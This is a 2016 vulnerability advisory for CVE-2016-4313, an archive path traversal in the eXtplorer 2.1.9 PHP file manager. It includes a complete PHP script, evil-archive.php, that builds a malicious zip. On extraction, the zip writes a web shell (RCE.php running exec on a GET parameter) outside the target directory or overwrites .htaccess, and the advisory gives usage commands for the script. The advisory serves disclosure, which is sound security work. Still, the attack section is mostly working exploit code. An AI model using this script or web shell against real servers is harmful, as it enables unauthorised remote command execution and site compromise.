eXtplorer 2.1.9 Path Traversal

`[+] Credits: John Page aka hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/EXTPLORER-ARCHIVE-PATH-TRAVERSAL.txt  
  
[+] ISR: apparitionsec  
  
  
Vendor:  
==============  
extplorer.net  
  
  
  
Product:  
==================  
eXtplorer v2.1.9  
  
eXtplorer is a PHP and Javascript-based File Manager, it allows to browse  
directories, edit, copy, move, delete,  
search, upload and download files, create & extract archives, create new  
files and directories, change file  
permissions (chmod) and more. It is often used as FTP extension for popular  
applications like Joomla.  
  
  
  
Vulnerability Type:  
======================  
Archive Path Traversal  
  
  
  
CVE Reference:  
==============  
CVE-2016-4313  
  
  
  
Vulnerability Details:  
=====================  
  
eXtplorer unzip/extract feature allows for path traversal as decompressed  
files can be placed outside of the intended target directory,  
if the archive content contains "../" characters. This can result in files  
like ".htaccess" being overwritten or RCE / back door  
exploits.  
  
  
Tested on Windows  
  
  
Reproduction steps:  
==================  
  
1) Generate an archive using below PHP script  
2) Upload it to eXtplorer and then extract it  
3) Check directory for the default 'RCE.php' file or use CL switch to  
overwrite files like .htaccess  
  
  
Exploit code(s):  
===============  
  
Run below PHP script from CL...  
  
  
[evil-archive.php]  
  
<?php  
  
if($argc<4){echo "Usage: <zip name>, <path depth>, <RCE.php as default?  
Y/[file]>";exit();}  
$zipname=$argv[1];  
$exploit_file="RCE.php";  
$cmd='<?php exec($_GET["cmd"]); ?>';  
if(!empty($argv[2])&&is_numeric($argv[2])){  
$depth=$argv[2];  
}else{  
echo "Second flag <path depth> must be numeric!, you supplied '$argv[2]'";  
exit();  
}  
if(strtolower($argv[3])!="y"){  
if(!empty($argv[3])){  
$exploit_file=$argv[3];  
}  
if(!empty($argv[4])){  
$cmd=$argv[4];  
}else{  
echo "Usage: enter a payload for file $exploit_file wrapped in double  
quotes";  
exit();  
}  
}  
$zip = new ZipArchive();  
$res = $zip->open("$zipname.zip", ZipArchive::CREATE);  
$zip->addFromString(str_repeat("..\\", $depth).$exploit_file, $cmd);  
$zip->close();  
echo "\r\nExploit archive $zipname.zip created using $exploit_file\r\n";  
echo "================ by hyp3rlinx ===================";  
?>  
  
///////////////////////////////////////////////////////////////////////  
  
[Script examples]  
  
Use default RCE.php by passing "y" flag creating DOOM.zip with path depth  
of 2 levels  
c:\>php evil-archive.php DOOM 2 Y  
  
  
Create DOOM.zip with path depth of 4 levels and .htaccess file to overwrite  
one on the system.  
c:\>php evil-archive.php DOOM 4 .htaccess "allow from all"  
  
  
Disclosure Timeline:  
===================================  
Vendor Notification: No reply  
May 14, 2016 : Public Disclosure  
  
  
  
Exploitation Method:  
======================  
Local  
  
  
  
Severity Level:  
================  
Medium 6.3  
CVSS:3.0/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the  
information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information.  
  
hyp3rlinx  
`